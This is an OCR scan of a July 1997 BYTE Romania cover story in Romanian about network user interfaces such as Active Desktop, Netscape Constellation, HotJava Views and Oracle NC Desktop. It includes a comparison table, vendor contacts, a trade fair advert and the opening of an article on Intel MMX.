SPORTSZONE' SUBSCRIPTION SIGN UP NOW AND GET THE FIRST MONTH FREE! Lă Inbox My ef Recycle Bin Tuesday, April 23 || Address [hitp://wmw microsoft.com Paginile Web pot să apară pe desktop fără a se apela la un navigator. Utilizatorii mai pot lansa un navigator in- Conţinutul Web de pe desktop poate include informaţii actualizate dinamic de către servicii push, apleturi Java și con- troale ActiveX. dependent, dar nu este necesar acest lucru. Active Desktop de la Microsoft include Internet Explorer 4.0 în SO pentru a adăuga facilități de rețea la Windows În loc de tapet, întregul tapet ar putea fi o pagină Web (nereprezentat). Serverele Web pot afișa pagini sau benzi glisante pe bara task (nu se vede aici). Utilizatorii pot naviga prin resurse locale sau distante prin introducerea de URL sau de nume director Constellation HotJava Views Kona Desktop Memphis/ Mac OS 8 Active Desktop Furnizor Netscape Sun/JavaSoft Lotus Microsoft Apple Platformă hard Cross-platform Cross-platform Cross-platform PC-uri x86 Macintosh Cod NUI HTML, JavaScript Java Java Native code Native code Soft de aplicaţie Native, Java Java Native, Java Native, Java Native, Java Acces la aplicaţii vechi** Include Java VM Introduce NUI nou Partial Partial Include navigator Web Execută Java pe desktop Salvează starea pe server Opţional Data lansării iunie 1997? martie 1997 vara 1997 sfr. 1997/ încep.1998 vara 1997 * NC Desktop va rula pe calculatoare de reța standard Oracle cu procesoare ARM, StrongARM, și x86. "* Aplicațiile vechi includ cele pentru IBM 3270 și 5250; DEC VAX/VMS; programe Unix mod caracter; sistemul X Window; și Microsoft Windows. = da. 48 BYTE Romania JULIE 1997 Adio GUI, salut NUI Constellation realizat de firma Netscape se execută pe aproape orice platformă și maschează GUI de la SO nativ în spatele NUI. mit ca utilizatorii să caute prin directori de rețea adrese e-mail și numere de telefon. 1. Constellation e realizat în HTML și Java Script, deci organizaţiile, pot configura mo- dul de prezentare pentru intranet-ul propriu. 5. O fereastră glisantă este bară de apli- caţii cu legături la documente, aplicații și alte resurse. 2. Legăturile hyperlink la pagini Web pot să apară direct pe desktop. 3. Icon-urile legate de aplicaţii locale 6. Suprafaţa de lucru Constellation este native și documente, pot să apară pe desk- de fapt un navigator pe tot ecranul top. — : (Netscape Communicator) la care nu 4. Ferestre cu deschidere automata per- există butoanele și meniurile obișnuite Cover Story turn de la Sega. Îngropaţi browser-ul Apariţia a două sau trei NUI ar putea fi o sim- plă coincidență, dar avalanşa de NUI sem- nalează o direcție majoră de dezvoltare. Motivul este desigur lucrul în rețea. Rețelele locale LAN există de peste un deceniu, dar omniprezenţa reţelelor de comunicaţii date se constată doar în ultimii ani. La corpora- tiile mari şi medii 94% dintre calculatoarele PC sunt legate în rețele, după părerea lui Greg Cline, director de integrare reţea şi cercetare management la Business Research Group. Chiar și la calculatoarele de acasă și laptop modemele sunt componente stan- dard, deci practic toată lumea are acces inter- mitent in rețea. Este uşor de constatat rămânerea în urmă la GUI. Proiectanţii acestor interfeţe au dorit să înlocuiască linia de comandă cu interfeţe grafice pentru sistemul de fişiere şi SO. Sco- pul lor vrea să uşureze administrarea câtor- va mega-octeți și a resurselor locale. Dar uti- lizatorii de azi sunt confruntaţi cu un sistem virtual de fişiere, de orientare globală şi care administrează tera-octeți. Dezvoltarea explozivă a rețelelor ar fi un motiv suficient pentru a adăuga facilități GUI pentru lucrul în reţea. Dar mai există alte şase motive pentru care a venit tipul noilor NUI: Conţinut executabil. Softul de azi nu mai este doar nativ și local. Acum poate sosi într-o clipă de la un server situat la mii de mile dis- tanta. In plus, aplicaţia poate fi o cotare de preţ de la bursă sau o ştire transmisă, pentru care sistemul face actualizare automată prin interogarea serverului Web. NC Network OS/2 Bluebird Rhapsody SoftNC Tarantella VCOS Desktop Station Warp 4 WebTop Oracle/NCI IBM IBM IBM Apple TriTeal SCO Ulysses NC-uri* PowerPC PC-uri x86 PC-uri x86 Power Mac Cross- Cross- Cross- platform platform platform Native code Native code Native code Native code Native code Java HTML, JavaScript Java Native, Java Native, Java Native, Java Native, Java Native, Java Native, Java Java Java / vf v o v / v vo / Opţional / f v / Partial “Opţional „Vf vf / vf / / Jv /.. vo vf / ow. / v / / vo Optional v / Jf sept.1997 sept. 1996 __ sept. 1996 vara 1997 încep. 1998 1997 1997 "iunie 1997 IULIE 1997 BYTE România 49 Cover Story Adio GUI, salut NUI Programe vechi. Programatorii nu pot să rescrie vechile aplicaţii într-o clipită. Astfel că toate NUI oferă porţi (gateway) spre vechile programe şi baze de date, adesea sub formă de applet-uri Java care emulează terminalele vechi. Noiutilizatori. Mulţi utilizatori noi se pot concentra la anumite activități de bază si nu au nevoie de GUI cu toate facilitățile, așa cum nici fotograful de ocazie nu are un Hassel- blad. O nouă gândire pentru GUI. Inginerii de software analizează ipotezele vechi pentru realizarea GUI şi aplică noile cunoștințe. Unele NUI renunţă la facilități care duc la necazuri pentru utilizatorii ocazionali, cum este selectarea dublă cu maus, ferestre supra- puse, meniuri ierarhice şi bare de oe cu butoane misterioase. Acces de la distanta. NUI va usura schim- bul de e-mail si conectarea in retelele firmei pentru utilizatorii aflati pe teren si va oferi o duplicare a suprafetei de lucru de la firma pentru sistemul conectat din exterior. Forta de munca in schimbare. Interfetele NUI pot simplifica utilizarea partajata a sis- temelor de calcul pentru angajati, prin me- morarea la server a starii echipamentului local, astfel ca utilizatorii să aibă acces la spaţiul de lucru personal, indiferent de unde se conectează. Toate NUL au un lucru comun: încercă să facă resursele din reţea la fel de accesibile ca şi cele locale. Desigur, nu pot să mascheze limitările fizice impuse de banda de transfer. Un acces la un server Web la distanță va dura totdeauna mai mult decât accesul la discul local. Dar NUI poate face ca diferențele să nu se manifeste brusc. O soluţie este oferirea unei imagini gra- fice, universale a tuturor resurselor. O alta este integrarea funcțiilor de reţea şi a opera- țiilor desktop obişnuite, în loc ca utilizatorul să fie obligat să lanseze programe speciale pentru a face operaţii care au devenit o ruti- nă. Cu timpul, NUI va absorbi funcţiile programelor client separate, necesare azi pentru utilizarea rețelei: navigatoare Web, cititoare de ştiri, clienți FTP, clienți e-mail, editoare HTML și altele. Navigatoarele Web sunt ţinta preferată pentru o asemenea integrare, deoarece browser-ul a devenit aplicaţia primordială în informatica de reţea. Este o ironie faptul că firmele principale care contribuie la uzu- ra morală a navigatoarelor sunt chiar prim- ii doi furnizori: Microsoft şi Netscape. Cu Memphis, Microsoft încercă să reducă importanţa navigatorului Netscape prin înglobarea lui Explorer 4.0 în Windows. Cu Constellation, Netscape încercă să elimine Windows prin transformarea navigatoru- lui într-o interfață desktop completă care 50 BYTE Romania HULIE 1997 £ nina rul se ioe ăîn fata, în timp. E “ce programul de adrese ruleazăi în alta „ fereastră. a maschează integral Windows. Microsoft pare să facă mai multe remode- lări la propriul GUI decât Apple, IBM sau orice furnizor Unix. Maemphis și Windows NT vor implementa o nouă strategie Micro- soft, numită „Web PC“, careva fi grandioasa unificare între Web şi desktop. În curând, utilizatorii Windows vor putea naviga pe discurile locale şi serverele LAN prin selectarea unei imagini opționale Web- View care lucrează ca un navigator de Web complet, cu butoane pentru înainte şi înapoi şi semne de carte. Sau vor putea naviga pe situri Web cu obişnuitul Windows Explorer in loc de alt navigator. Cataloagele de pe dis- cul local şi din LAN vor putea avea „home page“ construit cu HTML, Java, JavaScript, VBScript şi controale ActiveX. Conţinutul Web poate să fie afişat în fereastră direct pe desktop sau pe bara de unelte, fără naviga- tor. De fapt, toată suprafaţa de lucru Win- dows va putea fi o pagina Web si aici se poate face actualizarea periodica a continutului dinamic al paginii prin interogarea serverelor Web printr-un program ce rulează în fundal. Utilizatorii Windows vor putea lansa în continuare Internet Explorer 4.0 ca aplicaţie independentă. Dar vor avea mai puţine motive să facă acest lucru (sau să lanseze orice alt navigator) din cauza integrării puternice în sistem. De fapt, Internet Explorer şi Windows Explorer vor oferi virtual acelaşi lucru. Acest lucru va fi posibil datorită unui con- trol ActiveX în Internet Explorer, care per- mite afișarea HTML, execuţia de appleturi Java şi lucrul cu controale ActiveX. La ver- siunea 4.0 aceste controale sunt legate direct la SO. Microsoft a mai adăugat un control ActiveX care permite navigarea cu Windows Explorer în cataloagele locale cu ajutorul unei interfeţe similare cu cea de la navigator. Active Desktop de la Microsoft va trans- forma întreaga suprafață a ecranului într-un browser Web virtual. Ideea este de a înlocui tapetul static al suprafeţei de lucru şi pro- gramele fără sens de protejare a tubului printr-un conţinut semnificativ. Veţi putea avea pe desktop pagina CNN sau o pagină Web concepută de dumneavoastră sau cea a firmei la care lucraţi. Veţi putea afişa chiar şi pagini Web multiple în ferestre separate. Dacă oricare din pagini are conținut dina- mic, Windows actualizează periodic pagina conform unei planificări configurabile. Utilizatorii vor putea să si stocheze Adio GUI, salut NUI Cover Story paginile în bareta de taskuri Windows 95 și NT, care pot să rămână vizibile sau ascunse la o muchie a ecranului. Dimensiunea va putea fi modificabilă şi Microsoft va oferi Software Development Kit pentru a ajuta proiectanții de Web în crearea paginilor spe- ciale care încap pe baretă. Rezultanta tuturor acestor noi facilități va fi că versiunile viitoare Windows vor oferi o integrare mai puternică a serviciilor Web decât orice OS existent acum (vedeţi şi: „Ce este NUI la OS/2 şi Mac“). Vor fi mai degrabă „porţi“ decât „ferestre“, deoarece veţi inter- acţiona cu lumea din exterior şi nu veţi privi doar ecranul. Totuşi Microsoft păstrează totul din GUL existent, astfel că uti- lizatorii nu trebuie să renunţe la interfața familiară. Steaua de la Netscape Ce loc rămâne pentru Netscape, furnizorul principal de navigatoare? Cu toate că uti- lizatorii Windows pot instala navigator de la orice firmă, nimic nu se va integra așa de deplin ca Internet Explorer 4.0. Riposta din partea Netscape urmăreşte aceeaşi des- tinaţie pe o cale complet diferită. În loc să ascundă navigatorul sub GUI, Netscape maschează GUI cu navigatorul. Constellation este o interfață NUI bazată pe ceea ce Netscape numeşte „chromeless“, deci fără adaosuri. Suprafaţa desktop este o fereastră navigator pe tot ecranul, fără obişnuitele meniuri, butoane icon-uri şi alte elemente decorative (chrome). De fapt, browser-ul este suprafaţa desktop. Ca şi Active Desktop din Windows, Constellation este un container de afișare a conţinutului bogat de pe Web, fără necazurile și grijile pricinuite de un program de navigare inde- pendent. Din punct de vedere tehnic, aşa cum se grăbeşte să arate Netscape, Constellation nu înlocuiește Windows. Nu este un SO şi nu preia funcţiile specifice pentru echipament. Utilizatorii vor avea nevoie în continuare de Windows pentru serviciile SO de bază şi pen- tru operaţii obişnuite de sistem. De exem- plu, utilizatorii trebuie să revină în Windows pentru a schimba configuraţia în Control Panel. Suprafaţa Constellation se numește Homeport. Este scrisă în HTML, Java şi JavaScript deci este multiplatformă, Net- scape afirmă că va rula pe 18 SO diferite. (Prin Navio, sucursala Netscape pentru soft de larg consum, va apare şi în echipamentele de jocuri video şi TV cu facilități de acces la Internet). Cu toate că Microsoft spune că și Active Desktop va fi multiplatformă, acesta depinde atât de mult de API-urile Windows şi ActiveX că se imun limitări la sistemele care nu sunt Windows.,, Netscape presupune Ce este NUI la 0S/2 si Mac pple și IBM nu se duc așa departe ca Microsoft în transformarea propriului GUI în NUI, dar au înglobat facilităţi de rețea în SO de ani dezile. OS/2 Warp 4, lansat in septembrie tre- cut se livrează cu două navigatoare (Navi- gator și Web Explorer) și a fost primul SO care a inclus Java VM. Apleturile si aplicati- ile Java se pot executa în OS/2 Workplace Shell fără browser, ca și aplicaţiile native. Workplace Shell extinde și metafora de fișiere și cataloage la resurse de rețea. Utilizatorii pot crea simplu cataloage și icon-uri care reprezintă servere din LAN sau servere distante pe Internet și pot manipula apoi resursele acestora ca și cum ar fi locale. La Mac OS 8, planificat pentru această vară Apple oferă icon-uri desktop pentru lansarea programului e-mail preferat sau clientului Web (care va fi inclus), plus un element de meniu care va lansa automat softul client corespunzător atunci când uti- lizatorul lipește (paste) orice URL la o casetă dialog care apare automat. Apple mai are în vedere includerea în OS 8 a unui client push ca PointCast. Dar alte facilităţi de integrare dinamică a conţinutului de pe Web, legături URL selectabile dinamic și motorul de căutare mult amânat V-Twin vor fi doar în versiunile următoare care vor inte- gra resursele locale și distante. Atât Apple cât și IBM au planuri mari de viitor. Rhapsody de la Apple, următoarea generaţie de SO bazată pe NextStep, va include OpenStep Virtual Desktop. Acesta este un NUI independent de locaţie, care păstrează starea locală pe server, astfel că utilizatorii au acces la propriul desktop de la. orice client din rețea. Structura din spate este Netlnfo, un soft client/server care oferă administrare de la distanţă și servici de directori. Netlnfo configurează automat clienţii noi și determină domeniile la care au acces. IBM dezvoltă un NUI evoluat care oferă o cale de mijloc între clientul suplu NC și cel gras PC. Având numele de cod Blue- bird, acesta înlocuiește Workplace Shell din Warp cu un shell mic de reţea care se află deasupra nucleului OS/2. Acesta are un desktop implicit care execută apleturi Java fără navigator, dar administratorii îi pot substitui un navigator Web, un emula- tor de ecran de terminal mod caracter, sau orice aplicaţie ca mediu implicit de lucru. Bluebird este un compromis între NC și PC deoarece se execută pe un sistem stan- dard x86, dar păstrează starea locală pe server și folosește discul local pentru cache. Astfel oferă avantaje de la NC păs- trând și compatibilitatea cu hard-ul existent. IBM afirmă că a proiectat Bluebird deoarece unele corporaţii mari au cerut o soluție ieftină care ușurează trecerea la NC.,„ Beneficiarii întreabă cum pot trece la noul model Java păstrând în continuare și aplicaţiile vechi de pe platforme multiple“, explică John Albee, managerul de program IBM OS/2 Warp. Albee spune ca Bluebird va fi livrat la corporaţii în această vară. Conceptual, este similar cu iniţiativa NetPC de la Microsoft și ZAW (Zero Administration for Windows), o alternativă NC de client mai suplu pentru Windows care se bazează pe standardele PC existente (Vedeţi și „PC-ul contraatacă din BYTE, mai 1997“) că va avea loc o fragmentare mai mare (a plat- formelor) în viitor şi Constellation a fost con- ceput pentru a beneficia de pe urma frag- mentării“ afirmă Mike McCue, director pentru tehnologii avansate la Netscape. Independenţa de loc este un alt element esenţial la Constellation. Prin memorarea opţională a configurației Homeport pe un server Netscape SuiteSpot, Constellation permite conectarea utilizatorilor de oriunde se află ei şi regăsirea Homeport în configu- rația personalizată. De exemplu, puteţi porni un task de pe calculatorul PC de la serviciu şi îl puteţi termina la aeroport, de la un NC. Ca şi Active Desktop, Homeport este o suprafață vie pe care pot să apară pagini Web în ferestre mobile sau panouri dinamice. Microsoft vă permite să păstraţi pagini Web pe task-bar. Netscape are Info-block (pagini mici scrise în HTML şi JavaScript) care permit păstrarea lor în mod similar la marginea ecranului. Conţinutul dinamic se schimbă automat, mulțumită lui Castanet Tuner de la Marimba și PointCast, o pereche de clienți Web „push“ care fac parte din Con- stellation. (Netscape preferă termenul mai precis de „smart pull“, aducere inteligentă.) Cu toate că este loc sub soare atât pentru Active Desktop cât si pentru Constellation, Netscape se va comporta mai bine la frag- mentarea platformelor pe care o prevede destul de apropiată în timp pentru a fi sem- nificativă. Pe moment, Windows stăpâneşte suprafața de lucru. Simpla inerție ar putea determina utilizatorii Windows să nu treacă la Constellation, mai ales că ambele NUI oferă o experienţă de lucru similară. IULIE 1997 BYTE Romania 51 Cover Story Adio GUI, salut NUI NUI pentru NC Dominația Microsoft la PC-uri desktop sti- mulează pe ceilalți producători să exploreze pieţe cu competiţie mai redusă pentru NUI. Alternativa cea mai promițătoare este NC, care prin definiţie este un calculator con- ceput pentru lucrul în reţea. Este un orizont larg deschis lipsit aproape complet de pro- duse Microsoft, cu toate că acest lucru începe să se schimbe datorită inițiativei NetPC de la Microsoft, achiziţiei recente de către aceas- taa WebTV Networks și sugestii că viitoarele versiuni NT ar putea include extensii pentru mai mulți utilizatori. (vedeți şi „Informati- că ieftină“ din BYTE România, Aprilie 1997) Nu este vorba că NC nu a atras firme importante. IBM, Lotus, Oracle, SCO şi Sun vor lansa NUI pentru NC in acest an. Dar este loc si pentru firme mai mici ca TriTeal si Ulysses pentru a se putea infiltra. NUI pentru'NC are tendinţa să fie mai simplă decât interfețele reduse GUI pentru PC. De obicei aceste interfeţe includ un set de aplicaţii mici pentru cei care lucrează cu un set redus de programe de bază, ceea ce este acceptabil ţinând cont de modul în care organizaţiile vor distribui sistemele NC. Aceste programe vor fi suplimentate cu Java, inclusiv aplet-uri și porţi (gateway) deschise spre programe și baze de date vechi. Şi toate sunt împachetate într-o interfață simplificată mai uşor de învăţat pentru utilizatori. „Majoritatea oamenilor de pe planetă n-au văzut cum se prezintă un Macintosh sau Windows“, spune Douglass Wilson, arhi- tectul Kona Desktop de la Lotus. ,„ Avem în vedere o piaţă mult mai vastă, cea a utiliza- torilor de la firme şi de acasă, care n-au apu- cat încă să vadă un GUI“. Oracle și IBM îşi scriu propriul NUI în cod nativ specific UC, pentru a avea performanțe maxime pe microprocesoare ieftine. NC Desktop de la Oracle se adresează pieţei Intel x86, ARM 7500FE şi procesoarelor Digital Equipment/ARM Strong ARM. Acestea sunt cele trei UC-uri care au suport până acum din partea platformei de referință Oracle NC, o specificaţie pentru care Network Computer, Inc (NCI), desprinsă din Oracle, deţine licenţa. NUI încă nedenumit de la IBM se adre- sează platformei PowerPC 403 (o versiune înglobată de PowerPC 603 fără unitate de virgulă mobilă), procesorul din IBM Net- work Station. Alţi furnizori și-au scris pro- priile NUI în Java, deci se pot executa pe orice sistem cu Java VM. Această compati- bilitate între platforme se realizează în dau- na performanţei, cu toate că utilizarea com- pilatoarelor JIT (just-in-time) și viitoarele cipuri Java vor reduce diferențele. Sun inventează GUI nou Sun a cheltuit probabil mai mult timp pen- tru a gândi din nou un GUI decât orice altă companie. La JavaSoft (desprinsă din Sun), proiectantii Frank Ludolph si Don Gentner au analizat ce este bine si rau la fiecare GUI, de la Windows la Mac. Au beneficiat de faptul că Lundolph a lucrat la faimosul proiect Alto la Palo Alto Research Center (PARC) al firmei Xerox. Inventivul lor NUI pentru Sun Java Station, HotJava Views, Transformarea NUI cu SoftNC S oftNC de la TriTeal o facilitate unică de program între NUI, poate să-și schimbe instantaneu modul de prezentare a interfeţei printr-o singură selecţie cu maus. Pentru a schimba stiluri care seamănă cu Windows 95, Motif sau Unix CDE, utilizatorii selec- tează un buton din panoul de con- trol. Este cel mai bun truc de la transformarea prin morphing a robotului din Terminator 2 încoace. ” SoftNC poate schimba prezen- tarea în acest mod, deoarece inter- fața nu este fixată prin cod în soft- ware. In locul codificarii, un limbaj de descriere propriu, similar HTML controleaza configuratia ecranu- lui și modul de prezentare al tutu- ror ferestrelor și elementelor. Limbajul de descriere de la Tri- Teal este SoftNC Presentation Language (SPL). Un script SPL descrie modul în care arată GUI, dar nu face efectiv desenul pe ecran. Pentru acesta, TriTeal și-a scris propria bibliotecă de clase Java. Clasele TriTeal sunt suficient de cuprinzătoare pentru a simula aproape orice GUI și se pot adap- ta la rezoluții diferite ale ecranului, palete de culori și tipuri de ecran, Chiar și la ecrane monocrome sau echipamente portabile. Noile clase se află la clientul SoftNC (de obicei un NC). Atunci când SoftNC primește un mesaj de schimbare a modului de pre- zentare a ecranului atunci face apel la aceste clase pentru a dese- na interfața descrisă în SPL script. Mecanismul pentru acest tip șialte mesaje la SoftNC se bazează pe IOCP (Inter ORB Communication Protocol) Mesajele pot proveni din sis- temul local sau de oriunde din re- tea. Ele sunt codificate ca și fișiere MIME atașate. Un mesaj poate conţine anumite date și un script SPL sau un URL care face refe- rință la un script SPL din rețea. În acest mod serverul poate contro- la centralizat desktopul SoftNC prin distribuirea de mesaje MIME la toți clienţii SotNC. 52 BYTE România RUE 19:97 Adio GUI, salut NUI Cover Story încearcă să scape de complexitatea infiltrată în decursul timpului în GUI, dar fără să sacri- fice prea mult flexibilitatea. Nimic nu este sacru pentru Ludolph și Gentner. Primul lucru elimimat a fost bara de meniu. Meniurile, în special cele organi- zate ierarhic încurcă utilizatorii începători cu opțiunile lor greu de găsit, afirmă ei. Ei au condensat operaţiile esenţiale în câteva opţi- uni pe o baretă cu butoane. Un alt substitut pentru meniuri este Selec- tor, o bară mare de task-uri în marginea stângă a ecranului. Nu mai este nevoie de meniu pentru fişiere cu comenzi Open, Close, Save, Quit şi Exit. Pentru utilizatori, toate aplicaţiile par a fi în execuţie perma- nentă. Ei fac doar comutarea între aplicații prin simpla selectare cu maus pe pictograma aplicaţiei. Aplicațiile standard includ Mail-View (poştă electronică), Calendar View (plani- ficare pentru grup), Web-View (navigator) şi Name-View (servicii director). Adminis- tratorii pot adăuga la Selector apleturile și aplicaţiile noi Java . Atunci când utilizatorii comută taskuri SO salvează automat starea programului pe server. Atunci când utiliza- torii revin la program, documentul apare exact ca în momentul când a fost părăsit. Hot Java Views renunţă şi la ferestrele cu dimensiuni modificabile şi care se pot supra- pune, o metaforă centrală pentru un GUI obișnuit. Acum aplicaţiile se execută tot- deauna cu utilizarea întregului ecran. Acest lucru elimină confuzia resimţită de unii uti- lizatori, atunci când prima fereastră dispare brusc în spatele altei ferestre. (A fost închisă? Unde este? Cum se poate regăsi?) Versiunile viitoare de HotJava Viewsvor avea facilităţi mai bogate: meniuri care apar și panouri glisante la marginile ecranu- lui. Meniurile care apar (pop-up), sunt sen- sibile la context şi apar doar când utilizatorul are nevoie. Panourile glisante sunt sertare pentru depozitarea apleturilor Java şi afi- şarea conținutului dinamic adus din rețea. Deoarece SO păstrează totdeauna starea NC pe server, utilizatorii pot accesa mediul pro- priu configurat şi executa aplicaţiile de pe orice calculator din reţea care are HotJava Views. Oracle :mai bun ca un X Inginerii de software de la Oracle NCI îşi per- mit libertăți similare în abordarea con- ceptelor încetăţenite. NUL elaborat de ei, NC Desktop, este asemănător cu HotJava Views şi are în vedere tot o interfaţă simplificată. La baza NC Desktop se află Net-BSD (un nucleu Unix public) și X11R6 (cea mai nou versiune X Windows System). NCI a selec- tat aceste componente deoarece sunt gratu- ite, bine documentate gi testate şi oferă posi- bilități de mutare uşoară pe diferite UC. Totuşi, NCI a împrumutat doar nivelul de prezentare redus de la X, nu şi modelul gra- fic de rețea. Pe când terminalele X se bazează pe calculatoare gazdă pentru a oferi grafică în rețea, NC Desktop face toată redarea local pe NC. Acest mod de lucru reduce mult trafi- cul pe reţea. O altă adaptare este că NC Desktop folo- seşte X doar pentru afişarea ferestrelor rădăcină și a elementelor de bază din fe- reastra ecran. În cadrul ferestrelor SO afişează toate documentele în HTML. De fapt HTML este mecanismul de afişare stan- dard, într-un fel ca Display PostScript de la NextStep. Pentru a asigura suportul, SO are un parser HTML si convertoare pentru formate de fisiere standard ca GIF, JPEG, MPEG, TIFF, AVI, AU, QuickTime si Real Audio. Există şi o Java VM şi un compilator JIT. Ca si HotJava Views, NC Desktop are un set de aplicatii mici reprezentate cu iconuri pe partea stângă a ecranului. Există un browser Web, un client de posta electronica, o agenda, un planificator, un editor de text şi un administrator de fişiere. În versiunea actuală NC Desktop, aple- turile Java se execută totdeauna în naviga- torul de Web. Aplicațiile autonome Java se execută pe desktop, ca şi cele native. În partea de jos a ecranului, un panou glisant opţional afișează fluxuri de informaţii (de exemplu, cotele de la bursă sau stiri). $i aici scopul este de a aduce informaţiile dinamice direct în atenţia utilizatorului imediat ce are loc o schimbare, în loc să fie nevoie ca uti- lizatorul să caute manual informaţia. Porți spre trecut IBM, ca și Oracle, a construit varianta pro- prie NUI pentru NC pe baza nucleului Unix, a şcris codul pentru nivelele suplimentare în cod nativ şi a adăugat Java VM. Dată fiind istoria îndelungată a prezenţei IBM în informatizarea firmelor, nu este o surpriză că Big Blue a acordat atenţie sporită ca NUI să poată lucra cu sisteme vechi. Emulatoarele de terminal în cod nativ pot conecta simultan stații IBM Network Station la mai multe sisteme gazdă. Utilizatorii pot sale R LA OG i = Network Station be de la IBM are NUL | scris în cod nativ | PowerPC. : Accentul este pus | : pe conectarea la aplicaţii și date vechi. 4 Emuletanele de terminal execută aplicaţii ecran mod — caracter pe « sisteme! mari. | 2. Unalt program de terminal _ E _afi ișează un program Motifce se execută | pe un server Unix... ei Navigatorul deWeb. 4.0 aplicaţie Windows atată pe server. IULIE 1997 BYTE România 53 Cover Story Adio GUI, salut NUI rula programe pentru terminale 3270/5250, programe Unix în mod caracter, aplicaţii Unix Motif sau orice soft Windows. Alte interfețe NUI pot face lucruri simi- lare prin soluţii Java, ca la Tarantella de la SCO şi dbAnywhere de la Symantec. SCO îşi împachetează apleturile Tarantella cu un NUI simplu numit WebTop. Acesta este o colecţie de apleturi și pagini HTML care uşurează accesul utilizatorilor din navigator la sistemele vechi. Lotus îşi elaborează interfața NUI Kona Desktop (nu este numele definitiv) în Java. Ca si Constellation de la Netscape, Kona este de fapt un navigator care ocupă ecranul și care permite utilizatorilor să lanseze atât aplicaţii native, cât şi apleturi Java. Cu toate că Lotus experimentează încă modul de prezentare, Kona va avea proba- bil o bară statică de aplicaţii de partea stângă a ecranului (ca şi Hot]Java Views şi NC Desk- top), nu vor fi ferestre suprapuse (ca și la Hot- Java Views) şi vor fi panouri pentru afişat informaţii dinamice (ca aproape la toate NUI). O fereastră pager stil panglică va per- mite utilizatorilor să trimită şi să primească mesaje scurte. Aplicațiile incluse în Kona, asemenea celor din HotJava Views si NC Desktop sunt ver- siuni simplificate ale versiunilor complete ce se execută pe PC. „Acestea sunt versiuni uşoare ale aplicaţiilor noastre din Smart- Suite“, explică arhitectul Kona Douglass Wilson. „Ele sunt destinate celor 80% din- tre utilizatori care au nevoie doar de 25% din facilități. Nu aţi oferi acest calcul tabelar unui analist financiar, el are nevoie probabil de 1-2-3 sau Excel, dar i-aţi putea oferi acest editor de text“. Ulysses Telemedia, un concurent necu- noscut, dezvolta un alt NUI bazat pe Java care îmbină prezentarea și comportamentul interfețelor GUI populare, ca Windows 95 şi Motif. VCOS de la Ulysses arată familiar 1. Panoul de control permite selectarea între stilul Windows 95, Unix CDE si Motif. 2. Utilizatorii pot avea patru suprafeţe desktop independente pe care le pot comuta prin selecţie de la panou. SoftNC 100% Java desktop. ae SoftNC de la TriTeal este scris complet in Java si isi poate schimba instantaneu prezentarea pentru a simula trei interfete GUI clasice. 3. Administratorul de fișiere seamănă cu un navigator Web. 4. Utilizatorii pot executa apleturi Java sau aplicaţii native pe desktop. pentru oricine are experienţă pe PC, dar schimbă în mod subtil prezentarea și com- portamentul suprafeței desktop. SoftNC de la TriTeal are un panou de con- trol care permite utilizatorilor să opteze între trei stiluri diferite: Windows 95. Unix/Motif şi Unix CDE (Common Desktop Environe- ment). Întreaga suprafaţă de lucru se modi- fică instantaneu atunci când selectaţi o INFORMAȚII UTILE Apple Computer 800-426-9400 800-726-8649 Cupertino, CA 206-882-8080 408-425-7222 800-776-2333 http://www.microsoft.com/ http://tarantella.sco.com/ 408-996-1010 backoffice/sbc/sbe_summary Sun/JavaSoft = i i -htm ney tenn apni enmy Hid Mountain View, CA IBM Corp. Netscape Communications 415-960-1300 Austin, TX Mountain View, CA http://www.javasoft.com/ 800-426-3333 800-638-7483 2 914-765-1900 415-254-1900 TriTeal Corp. http://www.internet.ibm.com/ http://www.netscape.com/ Carlsbad, CA computers/networkstation/ comprod/tech_preview/index.htmi 800-874-8325 619-930-2077 Lotus Development Corp. Oracle/NCI http://www.softne.triteal.com/ Cambridge, MA Redwood Shores, CA i 800-343-5414 800-633-0596 Ulysses Telemedia 617-577-8500 415-506-7000 sii ping ii : i ://www.nc.com E http://kona.lotus.com/ http://www.ne.com/ nadie — Microsoft Corp. The Santa Cruz Operation Redmond, WA Santa Cruz, CA 54 BYTE România -lULIE 1997 opţiune, deoarece SoftNC are un mecan- ism unic de schimbare din mers a interfeței (vedeţi caseta „Transformarea NUI cu Soft- NC“). Clienţi noi, utilizatori noi Utilizatorii experimentați de PC ar putea găsi că unele dintre aceste NUI sunt prea limitate, dar în acest caz NC-ul n-a fost făcut pentru ei. Aşa cum NC extinde modelul client/ser- ver la noi tipuri de echipamente client, NUI pe NC va extinde informatica la noi tipuri de utilizatori. Pentru o jumătate de secol, evoluţia cal- culatoarelor a avut loc de la echipamente solitare de calcul, la echipamente inteligente de comunicare. Hard-ul și reţeaua se întâl- nesc în fine. Acum este timpul ca softul să recupereze diferenţele și ecranul dumnea- voastră se va schimba pentru totdeauna. Tom R. Halfhill este BYTE Senior editor si locuieşte la San Matteo, CA. Îl puteţi găsi la: thalfhill@bix.com [din BYTE, o publicatie McGraw-Hill, Inc. Adaptare - Darvas Attila] Târg Internaţional Specializat pentru Tehnică de calcul, Software, Electronică, Telecomunicaţii şi Birotică Palatul Parlamentului, Centrul Internațional de Conferințe 16 - 20 septembrie 1997 ediţia a IV-a Sy ae Reprezentant oficial in Romania a: Tel: (40-1) 330.45.49; 330.45.16; Fax: (40-1) 330.46.64 EI. Putere MMX pentru PC-uri desktop nventia microprocesoarelor a schimbat lumea gi a lansat-o într-o nouă eră a ascensiunii continue. Pe măsură ce am tre- cut de la 8088 la 286 şi apoi la 386, am presupus că fiecare nouă generaţie de microprocesoare trebuie să ruleze mai repede şi să furnizeze performanţe mai bune. Am crezut că îmbunătățirile în micro- procesoare vor continua să fie alimentate printr-o creştere a vitezei tactului, îmbună- tățirea administrării cache-ului şi opti- mizarea arhitecturii. Recent însă, industria microproce- soarelor a trebuit să se confrunte cu o realitate rece. Introducerea noilor UCP-uri care diferă puţin faţă de predecesorii lor imediaţi a lăsat piaţă confuză. Ca si rezul- tat, evoluția microprocesorului x86 arată primele semne de încetineală. Introducerea din partea Intel a exten- siei multimedia (MMX) reprezintă prima expansiune majoră a setului de instrucțiuni x86 de la 386 încoace. Ea face şi o impor- tantă declaraţie: calculatoarele CISC sunt vii şi în putere. Cele 57 de instrucţiuni noi MMĂX realizează operaţii matematice mul- tiple pe seturi multiple de date, simultan. Rezultatul potenţial îl reprezintă pro- gramele puternice care pot face mai mult, mai repede şi folosi mai puţine instrucţiuni. Intel a proiectat instrucțiunile MMX având în vedere aplicaţiile multimedia. MMĂ îşi va găsi o largă aplicabilitate în algoritmii orientaţi pe bit şi byte, folosiţi in mod tipic de compresiile si decompresii- le video şi audio, procesarea de imagini şi renderizare. Surprinzător, Intel şi-a ales pentru debu- tul MMX, nu un produs de ultimă oră cum ar fi 